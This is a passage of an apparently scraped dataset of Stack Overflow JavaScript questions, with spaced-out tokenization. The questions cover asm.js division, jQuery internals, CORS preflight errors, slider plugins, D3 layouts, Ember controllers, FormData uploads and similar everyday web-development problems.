? ) → floatishHowever if any of these has a zero denominator , the result is double , so it seems like the type can only be : ( double ? , double ? ) → doubleWhat is expected to happen in asm.js code ? Does it follow javascript and return 0 or does divide-by-zero produce a runtime error ? If it follows javascript , why is it ok that the typing is wrong ? If it produces a runtime error , why does n't the spec mention it ? 1/0 ; // Infinity-1/0 ; // -Infinity 0/0 ; // NaN ( 1/0 ) |0 ; // == 0 , signed case . ( 1/0 ) > > 0 ; // == 0 , unsigned case .",How does asm.js handle divide-by-zero ? "JS : OK ! First of all this question comes from a man who digs too deep ( and posibly get lost ) in the jQuery universe.In my reserch I discovered the jquery 's main pattern is something like this ( If needed correction is wellcomed ) : When $ initiates the jQuery.prototype.init initiates and returns an array of elements . But i could not understand how it adds the jQuery method like .css or .hide , etc . to this array . I get the static methods . But could not get how it returns and array of elements with all those methods . ( function ( window , undefined ) { jQuery = function ( arg ) { // The jQuery object is actually just the init constructor 'enhanced ' return new jQuery.fn.init ( arg ) ; } , jQuery.fn = jQuery.prototype = { constructor : jQuery , init : function ( selector , context , rootjQuery ) { // get the selected DOM el . // and returns an array } , method : function ( ) { doSomeThing ( ) ; return this ; } , method2 : function ( ) { doSomeThing ( ) ; return this ; , method3 : function ( ) { doSomeThing ( ) ; return this ; } ; jQuery.fn.init.prototype = jQuery.fn ; jQuery.extend = jQuery.fn.extend = function ( ) { //defines the extend method } ; // extends the jQuery function and adds some static methods jQuery.extend ( { method : function ( ) { } } ) } )","Difference of the value , prototype and property" "JS : I have used two project for my site . One for Mvc project and Api project.I have added below code in web.config file which is in Api project , Action method as below which is in Api project , and ajax call as below which is in Mvc project , But yet showing errors as below , OPTIONS http : //localhost:55016/api/ajaxapi/caselistmethod 405 ( Method Not Allowed ) XMLHttpRequest can not load http : //localhost:55016/api/ajaxapi/caselistmethod . Response for preflight has invalid HTTP status code 405but without Header its working fine . I need to pass header also . So please give any suggestion.Thanks ... Access-Control-Allow-Origin : *Access-Control-Allow-Methods : GET , POST , PUT , DELETEAccess-Control-Allow-Headers : Authorization [ HttpPost ] [ Route ( `` api/ajaxapi/caselistmethod '' ) ] public List < CaseValues > AjaxCaseListMethod ( ) { List < CaseValues > caseList = new List < CaseValues > ( ) ; return caseList ; } $ .ajax ( { type : `` POST '' , url : `` http : //localhost:55016/api/ajaxapi/caselistmethod '' , beforeSend : function ( request ) { request.setRequestHeader ( `` Authorization '' , getCookie ( `` Token '' ) ) ; } , success : function ( response ) { } } ) ;",Header ca n't pass in ajax using cross domain "JS : I was reading through npm ’ s coding style guidelines and came across the following very cryptic suggestion : Be very careful never to ever ever throw anything . It ’ s worse than useless . Just send the error message back as the first argument to the callback.What exactly do they mean and how does one implement this behavior ? Do they suggest calling the callback function within itself ? Here ’ s what I could think of using the async fs.readdir method . fs.readdir ( './ ' , function callback ( err , files ) { if ( err ) { // throw err // npm says DO NOT do this ! callback ( err ) // Wouldn ’ t this cause an infinite loop ? } else { // normal stuff } } )",npm 's guidelines on callback errors "JS : I 'm having some issues with this website I 'm working on.I 'm using Bxslider plugin to create a sort of a portfolio for the projects page BUT something 's wrong with it : As soon as I click a thumbnail OR a direction arrow , the slider does n't work anymore , I can not change the displayed picture.I 've tried switching around the position of my html markup but it did n't do anything new.So , this is my htmland here the jsI ca n't find out why this is happening.A little extra hand would much appreciated.Here 's a demo if you want to see it working ( or not working ... ) Thank you for your timeEDIT : Tried swaping the downloaded .js for the one they use on their website , I was thinking maybe it was somehow bugged , but I was wrong , it still does n't work.EDIT 2 : I also tried to switch the scripts to before the html but , as expected , it did n't change a thing . < link rel= '' stylesheet '' type= '' text/css '' href= '' css/jquery.bxslider.css '' / > < ul class= '' portfolio '' > < li > < img src= '' img/portfolio/projetos3d/1.jpg '' > < /li > < li > < img src= '' img/portfolio/projetos3d/2.jpg '' > < /li > < li > < img src= '' img/portfolio/projetos3d/3.jpg '' > < /li > < li > < img src= '' img/portfolio/projetos3d/7.jpg '' > < /li > < li > < img src= '' img/portfolio/projetos3d/8.jpg '' > < /li > < /ul > < div class= '' thumbs '' > < a data-slide-index= '' 0 '' href= '' '' > < img src= '' img/portfolio/projetos3d/1.jpg '' > < /a > < a data-slide-index= '' 1 '' href= '' '' > < img src= '' img/portfolio/projetos3d/2.jpg '' > < /a > < a data-slide-index= '' 2 '' href= '' '' > < img src= '' img/portfolio/projetos3d/3.jpg '' > < /a > < a data-slide-index= '' 3 '' href= '' '' > < img src= '' img/portfolio/projetos3d/7.jpg '' > < /a > < a data-slide-index= '' 4 '' href= '' '' > < img src= '' img/portfolio/projetos3d/8.jpg '' > < /a > < /div > < /div > < script src= '' js/jquery.bxslider.min.js '' > < /script > < script > $ ( document ) .ready ( function ( ) { $ ( '.portfolio ' ) .bxSlider ( { pagerCustom : '.thumbs ' } ) ; } ) ; < /script >",Bxslider Plugin stops working after first `` action '' "JS : Typescript 1.8 introduced the string literal type . However , when passing in an object as a parameter as in the following : It fails with : Argument of type ' { a : string ; b : string ; c : string ; } ' is not assignable to parameter of type 'ITest ' . Types of property ' a ' are incompatible . Type 'string ' is not assignable to type ' '' hi '' | `` bye '' ' . Type 'string ' is not assignable to type ' '' bye '' '.I would expect this to work since it meets the requirements of the interface , but I might be overlooking something . const test = { a : `` hi '' , b : `` hi '' , c : `` hi '' } ; interface ITest { a : `` hi '' | `` bye '' } function testFunc ( t : ITest ) { } testFunc ( test ) ;",Typescript string literal with duck-typed object "JS : Hi I 'm encountering a problem regarding creating a new map upon clicking the marker . So here is the flow that I want : Display default google map with markers that I included - I 'm okay with thisUpon clicking of marker I 'll create a new map which the markers will be removed then I 'll put an overlay image.So the problem is whenever I click the marker the new map does n't appear . Here is my codeControllerViewmap_templateI 'm currently trying to fix that the new map will appear before proceeding with the overlay part.PS . I 'm using Biostall 's library of Google maps for Codeigniter . public function index ( ) { $ config = array ( ) ; $ config [ 'center ' ] = '** . ******* , ** . ******* ' ; $ config [ 'zoom ' ] = ' 6 ' ; $ config [ 'map_height ' ] = `` 500px '' ; $ this- > googlemaps- > initialize ( $ config ) ; $ marker = array ( ) ; $ marker [ 'position ' ] = `` ********* '' ; $ marker [ 'onclick ' ] = `` $ .ajax ( { url : 'Welcome/new_map ' , success : function ( data ) { $ ( ' # v_map ' ) .html ( data ) ; } } ) ; `` ; $ marker [ 'animation ' ] = 'DROP ' ; $ this- > googlemaps- > add_marker ( $ marker ) ; $ marker = array ( ) ; $ marker [ 'position ' ] = `` ********* '' ; $ this- > googlemaps- > add_marker ( $ marker ) ; $ data [ 'map ' ] = $ this- > googlemaps- > create_map ( ) ; $ this- > load- > view ( 'welcome_message ' , $ data ) ; } public function new_map ( ) { $ config = array ( ) ; $ config [ 'center ' ] = '** . ******* , ** . ******* ' ; $ config [ 'zoom ' ] = ' 6 ' ; $ config [ 'map_height ' ] = `` 500px '' ; $ this- > googlemaps- > initialize ( $ config ) ; $ marker = array ( ) ; $ marker [ 'position ' ] = `` ********* '' ; $ marker [ 'onclick ' ] = `` $ .ajax ( { url : 'Welcome/new_map ' , success : function ( data ) { $ ( ' # v_map ' ) .html ( data ) ; } } ) ; `` ; $ marker [ 'animation ' ] = 'DROP ' ; $ this- > googlemaps- > add_marker ( $ marker ) ; $ marker = array ( ) ; $ marker [ 'position ' ] = `` ********* '' ; $ this- > googlemaps- > add_marker ( $ marker ) ; $ data [ 'map ' ] = $ this- > googlemaps- > create_map ( ) ; $ this- > load- > view ( 'map_template ' , $ data ) ; } < html lang= '' en '' > < head > < ? php echo $ map [ 'js ' ] ; ? > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js '' type= '' text/javascript '' > < /script > < /head > < body > < div id = `` v_map '' > < ? php echo $ map [ 'html ' ] ; ? > < /div > < /body > < /html > < ? php echo $ map [ 'html ' ] ; ? >",Load map after clicking ajax request from marker of Google Map "JS : I am trying to detect overlapping of my fixed element ( with class fixed ) with other static/moveable elements . Based on the result true/false I am changing the font color of my fixed element.So when fixed element overlaps a black box the font color of it becomes white and black otherwise . My problem is , this is working only with the third moving element . First and second moving element is overlapping too but the font color of my fixed element is not changing . So the IF condition is only working for the third moving element . Can anyone help me to fix my code , so that my fixed element 's font color changes while overlapping all three moving elements ? My Pen function collision ( $ fixed , $ moving ) { var x1 = $ fixed.offset ( ) .left ; var y1 = $ fixed.offset ( ) .top ; var h1 = $ fixed.outerHeight ( true ) ; var w1 = $ fixed.outerWidth ( true ) ; var b1 = y1 + h1 ; var r1 = x1 + w1 ; var x2 = $ moving.offset ( ) .left ; var y2 = $ moving.offset ( ) .top ; var h2 = $ moving.outerHeight ( true ) ; var w2 = $ moving.outerWidth ( true ) ; var b2 = y2 + h2 ; var r2 = x2 + w2 ; if ( b1 < y2 || y1 > b2 || r1 < x2 || x1 > r2 ) return false ; return true ; } $ ( window ) .scroll ( function ( ) { $ ( `` .moving '' ) .each ( function ( ) { //console.log ( $ ( this ) ) ; if ( collision ( $ ( `` .fixed '' ) , $ ( this ) ) ) { $ ( '.fixed ' ) .css ( 'color ' , 'white ' ) ; } else { $ ( '.fixed ' ) .css ( 'color ' , 'black ' ) ; } } ) ; } ) ; .fixed { color : black ; position : fixed ; top : 50px ; } .moving { width : 400px ; height : 100px ; background-color : black ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' fixed '' > Fixed Element < /div > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < div class= '' moving '' > < /div > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < div class= '' moving '' > < /div > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < div class= '' moving '' > < /div > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br > < br >",Detect overlapping between fixed item element and multiple static elements "JS : I am currently making a textarea that will auto expand . This seems to work fine however the button click never seems to fire when the textarea is expanded . I am also using angularjs . Here is my codeHTML : Javascript : If anybody could help me find a workaround or explain why exactly this is happening that would be greatly appreciated.Link to codepen : http : //codepen.io/anon/pen/mJrjpP < body > < div my-dir > < /div > < /body > var app = angular.module ( 'myApp ' , [ ] ) ; app.directive ( 'myDir ' , function ( ) { return { restrict : ' A ' , template : ' < textarea id= '' textarea1 '' > '+ ' < /textarea > ' + ' < button ng-click= '' clicked ( ) '' > Click me < /button > < textarea id= '' textarea2 '' > < /textarea > ' , link : function ( scope ) { scope.clicked = function ( ) { alert ( `` click worked '' ) ; } } } } ) ;",Button click not firing when leaving textarea "JS : Take a look at this picture : I know p1 , p2 , and center , which are 2d points.I also know the angle p1-center-p2 and the radius r.How can I draw only the filled part of the arc using the canvas ' function arc ( ) ? EDITWhat I really need to do is , given 2 points and an angle , draw a curved line between these 2 points such that p1-center-p2 angle is the given angle.What I do is calculate the center and the radius of the circunference that has those 2 points in it and now I need to draw the line that joins p1 and p2 and has the given angle.This is my function to calculate the center of the circunference ( which works properly ) function getCenter ( v0x , v0y , v1x , v1y , curve ) { // result = p0 resx = parseFloat ( v0x ) ; resy = parseFloat ( v0y ) ; // tmpvec = ( p1 - p0 ) * .5 tmpx = ( v1x - v0x ) / 2 ; tmpy = ( v1y - v0y ) / 2 ; // result += tmpvec resx = resx + tmpx ; resy = resy + tmpy ; // rotate 90 tmpvec tmptmpx = tmpx ; tmptmpy = tmpy ; tmpy = -tmptmpx ; tmpx = tmptmpy ; // tmpvec *= 1/tan ( c/2 ) tmpx *= 1/Math.tan ( curve/2 ) ; tmpy *= 1/Math.tan ( curve/2 ) ; // return res + tmpvec return [ resx+tmpx , resy+tmpy ] ; }",How to draw only this part of the arc ? "JS : I was wondering how it would be possible to modify Mike Bostock 's example of a multi-force layout in order to try and get the force layout to group nodes in a grid . So let us imagine that we have the following csv : For his kind of data I would like to have all the possible values of Category 1 as columns and all the possible values of Category 2 as rows and would like my nodes to automatically group in the `` proper '' cell depending on their values for Category 1 and Category 2.I am just getting started with D3 and do n't really know where to start . The example I pointed to is useful , but it 's hard to know what to modify as the code has close to no comments.Any help would be appreciated . Name , Category1 , Category21,1,12,1,23,1,14,2,25,3,16,1,47,5,58,1,59,2,410,3,311,4,412,4,513,3,414,1,215,1,116,2,217,3,118,2,119,4,520,3,1",D3 Force simulation in a grid "JS : JS Linting the following bit of code : Results in the error : I do n't understand what to do to make this see 'set ' correctly ? ! I know about the __defineGetter__ syntax but really want to use the above style.Does anyone have more information on this error ? /*jslint browser : true , es5 : true , */var VCA = { get enable ( ) { 'use strict ' ; return 0 ; } , set enable ( value ) { 'use strict ' ; console.log ( value ) ; } } ; Problem at line 11 character 9 : Expected 'set ' and instead saw `` .set enable ( value ) {",JSLint Expected 'set ' and instead saw `` "JS : I want to include < tr > and < td > and apparently I ca n't do that with directive . It keeps ignoring < td > or < td > as if they do n't exists . here 's what I trying to accomplish : Here 's the javascript : my-table.html : the code above resulted in : example : PLUNKR < my-table > < tr > < td > hello < /td > < td > world < /td > < /tr > < /my-table > angular.module ( 'app ' , [ ] ) .controller ( 'Controller ' , [ ' $ scope ' , function ( $ scope ) { } ] ) .directive ( 'myTable ' , function ( ) { return { restrict : ' E ' , transclude : true , templateUrl : 'my-table.html ' } ; } ) ; < table ng-transclude > < /table > < my-table class= '' ng-isolate-scope '' > < table ng-transclude= '' '' > hello < -- no < tr > nor < td > here just plain text world < /table > < /my-table >",How to include < tr > element in angular directive ( transclude ) ? "JS : I am trying to post a Action to the Facebook Timeline using the JS APIPosting works quite well and the API returns no error . A new activity appears at the Timeline but only as a small text within the `` recent activities '' box which looks like this : What could be the problem if the action is not displayed like in the Attachment Preview of the Action Type Settings ? Which look like this : I have linked all the properties from the Object Type and tested my Object URL with the Facebook Debugging Tool and it looks like all the attributes can be parsed correctly by the Facebook scraper.I also defined a aggregation layout for the action type . So what can be the reason that no Attachment is displayed ? FB.api ( '/me/application : action_type ' + ' ? opject_type='+document.location.href , 'post ' , function ( response ) { if ( ! response || response.error ) { alert ( `` error '' ) ; } else { alert ( `` success '' ) ; } } ) ;",Timeline Action Layout - No Attachment displayed JS : Why is it considered best practise to put a ; at the end of a function definition.e.g.is better than : var tony = function ( ) { console.log ( `` hello there '' ) ; } ; var tony = function ( ) { console.log ( `` hello there '' ) ; },Putting ; at the end of a function definition JS : Why does this code output a number greater by one ( 10209761399365908 instead of 10209761399365907 ) ? This is happening only for this specific number . For instance with 10155071933693662 I get the correct value ( 10155071933693662 ) . Is there something I need to know about that specific number ? The only workaround I figured out is to pass the value as a string . console.log ( 10209761399365907 ) ;,Why does this number get increased by one ? JS : Why does genderTeller ( ) ; alerts undefined is not clear to me . if I see it I believe it 's just same as line above it . Can some please explain the details function Person ( gender ) { this.gender = gender ; } Person.prototype.sayGender = function ( ) { alert ( this.gender ) ; } ; var person1 = new Person ( 'Male ' ) ; var genderTeller = person1.sayGender ; person1.sayGender ( ) ; // alerts 'Male'genderTeller ( ) ; // alerts undefined,Why does a method 's ` this ` change when calling a reference to an object 's method ? "JS : For some tools , we use tree chart from echartjs .Everything works fine but I have one problem and it is the size of padding in tree chart.As you can see in this image everything is fine , but I ca n't enable more padding to this chart : i want this chart for my friend website ( امروز چندمه ) And this is my code : Thanks : ) myChart.showLoading ( ) ; $ .get ( 'data/asset/data/flare.json ' , function ( data ) { myChart.hideLoading ( ) ; echarts.util.each ( data.children , function ( datum , index ) { index % 2 === 0 & & ( datum.collapsed = true ) ; } ) ; myChart.setOption ( option = { tooltip : { trigger : 'item ' , triggerOn : 'mousemove ' } , series : [ { type : 'tree ' , data : [ data ] , top : ' 1 % ' , left : '15 % ' , bottom : ' 1 % ' , right : ' 7 % ' , symbolSize : 7 , orient : 'RL ' , label : { position : 'right ' , verticalAlign : 'middle ' , align : 'left ' } , leaves : { label : { position : 'left ' , verticalAlign : 'middle ' , align : 'right ' } } , expandAndCollapse : true , animationDuration : 550 , animationDurationUpdate : 750 } ] } ) ; } ) ;",How can I add more padding to tree chart in echartjs ? "JS : I 've been wondering whether using prototypes in JavaScript should be more memory efficient than attaching every member of an object directly to it for the following reasons : The prototype is just one single object.The instances hold only references to their prototype.Versus : Every instance holds a copy of all the members and methods that are defined by the constructor.I started a little experiment with this : randomString ( x ) just produces a , well , random String of length x.I then instantiated the objects in large quantities like this : and checked the memory usage of the browser process ( Google Chrome ) . I know , that 's not very exact ... However , in both cases the memory usage went up significantly as expected ( about 30 MB for TestObjectFat ) , but the prototype variant used not much less memory ( about 26 MB for TestObjectThin ) .I also checked that the TestObjectThin instances contain the same string in their `` text '' property , so they are really using the property of the prototype.Now , I 'm not so sure what to think about this . The prototyping does n't seem to be the big memory saver at all.I know that prototyping is a great idea for many other reasons , but I 'm specifically concerned with memory usage here . Any explanations why the prototype variant uses almost the same amount of memory ? Am I missing something ? var TestObjectFat = function ( ) { this.number = 42 ; this.text = randomString ( 1000 ) ; } var TestObjectThin = function ( ) { this.number = 42 ; } TestObjectThin.prototype.text = randomString ( 1000 ) ; var arr = new Array ( ) ; for ( var i = 0 ; i < 1000 ; i++ ) { arr.push ( new TestObjectFat ( ) ) ; // or new TestObjectThin ( ) }","Prototypal inheritance should save memory , right ?" "JS : I have a pattern of js promises that I want to identify for several keywordsFor example if I put code like : And in the file I have also the following respective valueThe complete code EXAMPLE 1And I want that if I put large code file ( as string ) to find that this file contain the patternAnother examplevar d = Q.defer ( ) ; /* or $ q.defer */ And in the file you have also the following respective value Complete EXAMPLE 2There is open sources which can be used to do such analysis ( provide a pattern and it will found ... ) There is some more complex patters with childProcess but for now this is OK : ) var deferred = Q.defer ( ) ; deferred.reject ( err ) ; deferred.resolve ( ) ; return deferred.promise ; function writeError ( errMessage ) { var deferred = Q.defer ( ) ; fs.writeFile ( `` errors.log '' , errMessage , function ( err ) { if ( err ) { deferred.reject ( err ) ; } else { deferred.resolve ( ) ; } } ) ; return deferred.promise ; } d.resolve ( val ) ; d.reject ( err ) ; return d.promise ; function getStuffDone ( param ) { var d = Q.defer ( ) ; /* or $ q.defer */ Promise ( function ( resolve , reject ) { // or = new $ .Deferred ( ) etc . myPromiseFn ( param+1 ) .then ( function ( val ) { /* or .done */ d.resolve ( val ) ; } ) .catch ( function ( err ) { /* .fail */ d.reject ( err ) ; } ) ; return d.promise ; /* or promise ( ) */ }",How to identify the following code patterns JS : I 've found that on Opera 11.50 the expressionreturns an object for whichtypeof returns `` string '' constructor.name is StringcharCodeAt ( 0 ) is 50length is 1But still shows `` false '' in Opera ( and the same happens using === ) .Is this a bug or what ? The only way I found to make it compare equal to `` 2 '' is calling .substr ( 0 ) ( for example even adding an empty string still compares different ) . JSON.stringify ( 2 ) alert ( JSON.stringify ( 2 ) == `` 2 '' ),Is it correct that JSON.stringify ( 2 ) == `` 2 '' may return false ? "JS : I have compiled my Haxe JS project , and it 's working fine.What I have in Haxe is a Main class.Now , I need to call a static function from a Haxe-compiled Main . I tried to call it like this : But I get Uncaught ReferenceError : Main is not definedWhen I look in my compiled JavaScript script of Haxe I can see that Main is wrapped into something like that : So , how to reach Main from external JavaScript code ? Main.init ( ) ; ( function ( ) { `` use strict '' ; var Main = function ( ) {",How to call Haxe compiled JS from outer JavaScript ? "JS : I want to make a dotted string to fill up the gaps with the appropriate ( drag-able ) word to complete the sentence . string like : words like : quick , fox , lazybut when I bind the string with ng-bind-html the jqyoui-droppable is not working in the return string . Could n't drop the button ( drag-able key ) in the gap string.html : < div ng-bind-html= '' createDottedString ( ) '' > < /div > here is the plnkr link : demoI 've used this jqyoui-droppable plugin for drag and drop with jqueryUI . The ______ brown ______ jumps over the ______ dog . $ scope.gapList = [ ] ; $ scope.string = `` The quick brown fox jumps over the lazy dog . `` ; $ scope.keys = [ 'quick ' , 'fox ' , 'lazy ' ] ; $ scope.createDottedString = function ( ) { for ( var key in $ scope.keys ) { $ scope.string = $ scope.string.replace ( $ scope.keys [ key ] , ' < em data-drop= '' true '' data-jqyoui-options jqyoui-droppable ng-model= '' $ scope.gapList '' > ____________ < /em > ' ) ; } return $ sce.trustAsHtml ( $ scope.string ) ; } ;",drag & drop ( jqyoui-droppable ) is not working in AngularJS "JS : i am new to this and i am creating simple application in which i click a button and a notification on desktop should be displayed . i am doing this in windows form c # the error is `` NullReferenceException was unhandledi have one button Notify in form1 . i have tried this : form1.cscode for HTMLPage1.html : even if i simply put alert ( `` Hi '' ) in notifyMe ( ) function , nothing else . still it displays the same error . public Form1 ( ) { InitializeComponent ( ) ; this.Load += new EventHandler ( Form1_Load ) ; webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler ( webBrowser1_DocumentCompleted ) ; webBrowser1.ScriptErrorsSuppressed = true ; } private void btnNotify_Click ( object sender , EventArgs e ) { webBrowser1.Document.InvokeScript ( `` notifyMe '' ) ; } private void Form1_Load ( object sender , EventArgs e ) { string CurrentDirectory = Directory.GetCurrentDirectory ( ) ; webBrowser1.Navigate ( Path.Combine ( CurrentDirectory , '' HTMLPage1.html '' ) ) ; } private void webBrowser1_DocumentCompleted ( object sender , WebBrowserDocumentCompletedEventArgs e ) { webBrowser1.ObjectForScripting = this ; < html lang= '' en '' xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < meta charset= '' utf-8 '' / > < title > < /title > < script language= '' javascript '' type= '' text/javascript '' > document.addEventListener ( 'DOMContentLoaded ' , function ( ) { if ( Notification.permission ! == `` granted '' ) Notification.requestPermission ( ) ; } ) ; function notifyMe ( ) { if ( ! Notification ) { alert ( 'Desktop notifications not available in your browser . Try Chromium . ' ) ; return ; } if ( Notification.permission ! == `` granted '' ) Notification.requestPermission ( ) ; else { var notification = new Notification ( 'Notification title ' , { icon : 'http : //cdn.sstatic.net/stackexchange/img/logos/so/so-icon.png ' , body : `` Hey there ! You 've been notified ! `` , } ) ; notification.onclick = function ( ) { window.open ( `` http : //stackoverflow.com/a/13328397/1269037 '' ) ; } ; } } < /script > < /head > < body > < /body > < /html >",desktop notification using javascript in windows form "JS : why this code does not work ? how am I supposed to append additional data in formdata ? when I debug it , I can see the array for 'file_for_upload ' , but not for 'test ' or 'test2'.basicly usually you will use $ _FILES and then it should show array of file_for_upload . It works that way . but now I need to add another one such as original_file_name . but it does not show the other array.Is it possible because I only have one form for file upload in the html page , and do n't have the other two textbox form ? fd = new FormData ( ) ; fd.append ( `` file_for_upload '' , file_blob_chunk ) ; fd.append ( `` test '' , `` testing '' ) ; fd.append ( `` test2 '' , original_file_name ) ; xhr = new XMLHttpRequest ( ) ; xhr.open ( `` POST '' , `` files/index/ '' + file_name + '/ ' + file_part , true ) ; xhr.send ( fd ) ;",ajax formdata append does not work for key value style "JS : I have a React component , that includes the availability flag of Internet connectivity . UI elements have to be dynamically changed according to state real-time . Also , functions behave differently with the changes of the flag.My current implementation polls remote API using Axios in every second using interval and updates state accordingly . I am looking for a more granular and efficient way to do this task to remove the 1-second error of state with the minimum computational cost . Considered online if and only if device has an external Internet connectionCurrent implementation : Edited : Looking for a solution capable of detecting external Internet connectivity . The device can connect to a LAN which does n't have an external connection . So , it is considered offline . Considers online if and only if device has access to external Internet resources . class Container extends Component { constructor ( props ) { super ( props ) this.state = { isOnline : false } ; this.webAPI = new WebAPI ( ) ; //Axios wrapper } componentDidMount ( ) { setInterval ( ( ) = > { this.webAPI.poll ( success = > this.setState ( { isOnline : success } ) ; } , 1000 ) ; } render ( ) { return < ChildComponent isOnline= { this.state.isOnline } / > ; } }",Change state dynamically based on the external Internet connectivity - React ( offline/online ) "JS : I am trying to access one of two models in a controller that uses needs on a sibling controller . My router looks like the following : The mlb.lineups route definition looks like the following : The reason I am using Ember.RSVP.hash ( { } ) here is I plan on adding another model to be retrieved after I retrieve the site model . Now in my MlbLineupsSiteController I am trying to access the sites model with the following : This is the error I 'm getting in my Ember console : needs must not specify dependencies with periods in their names ( mlb.lineups ) What 's the best way to make the sites model from the MlbLineups controller available in my MlbLineupsSiteController ? App.Router.map ( function ( ) { this.route ( 'login ' ) ; this.route ( 'mlb.lineups ' , { path : 'tools/mlb/lineups ' } ) this.resource ( 'mlb.lineups.site ' , { path : 'tools/mlb/lineups/site/ : site_id ' } ) ; } ) ; App.MlbLineupsRoute = Ember.Route.extend ( { model : function ( ) { var self = this ; return Ember.RSVP.hash ( { sites : self.store.find ( 'site ' ) } ) } , setupController : function ( controller , models ) { controller.set ( 'model ' , models.get ( 'sites ' ) ) ; } , afterModel : function ( models ) { var site = models.sites.get ( 'firstObject ' ) ; this.transitionTo ( 'mlb.lineups.site ' , site ) ; } } ) ; App.MlbLineupsSiteController = Ember.ArrayController.extend ( { needs : `` mlb.lineups '' , sites : Ember.computed.alias ( `` controllers.models.sites '' ) } ) ;",Ember.js : dependencies between two controllers failing "JS : See , I 'm following wmd-test.html of derobins-wmd , except put that stuff inside a hidden div . < div style= '' display : none ; '' > < div id= '' wmd-editor '' class= '' wmd-panel '' > < div id= '' wmd-button-bar '' > < /div > < textarea id= '' wmd-input '' > < /textarea > < /div > < div id= '' wmd-preview '' class= '' wmd-panel '' > < /div > < div id= '' wmd-output '' class= '' wmd-panel '' > < /div > < /div > uncaught exception : [ Exception ... `` Component returned failure code : 0x80004005 ( NS_ERROR_FAILURE ) [ nsIDOMNSHTMLTextAreaElement.selectionStart ] '' nsresult : `` 0x80004005 ( NS_ERROR_FAILURE ) '' location : `` JS frame : : http : //localhost/derobins-wmd-980f687/wmd.js : : anonymous : : line 490 '' data : no ] uncaught exception : [ Exception ... `` Component returned failure code : 0x80004005 ( NS_ERROR_FAILURE ) [ nsIDOMNSHTMLTextAreaElement.selectionStart ] '' nsresult : `` 0x80004005 ( NS_ERROR_FAILURE ) '' location : `` JS frame : : http : //localhost/derobins-wmd-980f687/wmd.js : : anonymous : : line 490 '' data : no ]",How to hide wmd editor initially ? "JS : I am trying to display three div elements spread out uniformly from one edge to the other edge of a container div element.Here is the HTML code.Here is the CSS code.This works fine as can be seen here : http : //jsfiddle.net/zVf4j/However , when I try to update the container div using the following JavaScript , the child div elements no longer spread out from edge to edge of the container div element.The text-align : justify ; property in CSS seems to have no effect in this case . The issue can be seen here : http : //jsfiddle.net/b5gBM/I have two questions.Why does the placement of the child div elements change when they are updated with JavaScript ? How can we fix this issue so that the child div elements evenly spread out from one edge of the container div to its other edge even after they are updated with JavaScript ? < body > < div id= '' container '' width= '' 50 % '' > < div > foo < /div > < div > bar < /div > < div > baz < /div > < div class= '' stretch '' > < /div > < /div > < /body > # container { margin : 10 % ; background : lightblue ; text-align : justify ; } # container div { display : inline-block ; width : 30 % ; background : gray ; } # container div.stretch { width : 100 % ; height : 0 ; } var containerDiv = document.getElementById ( 'container ' ) containerDiv.innerHTML = ' < div > fox < /div > ' + ' < div > bay < /div > ' + ' < div > baz < /div > ' + ' < div class= '' stretch '' > < /div > '",Justify JavaScript updated child div elements inside a parent div element "JS : What I want to do : Group all the like elements on a page ( of a certain kind ) into an object which I can later iterate on -- or apply sweeping changes to every element within.My code is successful at accomplishing the given task but when the number of elements grows to 200-300+ then the performance drastically drops off and users have noticed . I have isolated the offending lines of code and want to know if there is another way of accomplishing the same problem.The add ( ) function appears to be the problematic operation based on timers I have placed around them . At first the time required to perform the operation is .001 but grows until the number of elements reaches 300 and it takes ~.1 of a second for each additional element AND continues slowing down.I have researched ( and more ) for jQuery performance enhancing abilities and have implemented a few of them ( namely 3 ) but they have not given me any meaningful performance increases . Amazingly , this code performs within 1 second ( ! ) for Firefox ( 300+ calls to add ( ) ) while Chrome and IE take roughly 10-20x longer or more ... Here is my code : The end result looks like this ( via Chrome Inspector ) : Eventually I process all these as follows ( which I love the simplicity of ! ) : This looked like it could be a valid solution ( different add method ? ) but I would prefer to continue gathering a list of objects together so that the last line can work its magic . ( am not i am pointed out that the following is not true -- regarding concatenation ; thanks 'am not i am ' ) It seems like the add ( ) operation must be concatenating strings since that appears to be one of the main problems others face . But transforming my add ( ) statement into += does n't look like it works.Thanks for checking this out ; Chrome : 18.0.1025.142 mFirefox : 11.0IE : 8.0.7600.16385 rowsToChange = $ ( [ ] ) ; // Grab all the ids greater than whichever one I 'm currently looking at : var arr = $ .makeArray ( $ ( `` [ id^=stackLocatorLinkFillUp ] : gt ( `` + ( uniqueID-1 ) + '' ) '' ) ) ; for ( var i=0 ; i < arr.length ; i++ ) { $ this = arr [ i ] ; // < < < VARIOUS CONDITIONALS that make this as selective as possible REMOVED > > > startTimer = new Date ( ) .getTime ( ) ; // ************************** // PROBLEMATIC LINE FOLLOWS when 200+ records : rowsToChange = rowsToChange.add ( $ this ) ; // Grows from .001 to .1xx after 300 iterations console.log ( `` innertiming : '' + ( new Date ( ) .getTime ( ) - startTimer ) /1000 ) ; // ************************** } [ < div style=​ '' display : ​none '' id=​ '' stackLocatorLinkFillUp1 '' > ​itemType=BOUND & ccLocale=PERIODICAL​ < /div > ​ , < div style=​ '' display : ​none '' id=​ '' stackLocatorLinkFillUp2 '' > ​itemType=BOUND & amp ; ccLocale=PERIODICAL​ < /div > ​ , ... ] var superlink = `` ... new < a > goodness to display for all elements ... '' ; rowsToChange.html ( superlink ) .css ( `` display '' , '' block '' ) ;",jQuery : add ( ) performance ; is there a better way ? JS : I am trying to remove the classes that begin with a certain string.Here is my code : function myfunction ( ) { const body = document.getElementsByTagName ( 'div ' ) [ 0 ] ; body.classList.remove ( 'page* ' ) ; //remove page-parent } myfunction ( ) ; < div class= '' page-parent pop '' > check out < /div >,How to remove the classes that begin with a certain string ? "JS : I 've got a little snippet of configuration in my package.json : From what I can tell , people generally access the config key using process.env [ 'npm_package_ $ { keyname } ' ] , e.g . : But when the value is an array , you get this ultra-hokey set of flattened , numbered keys : I could always just read the file off 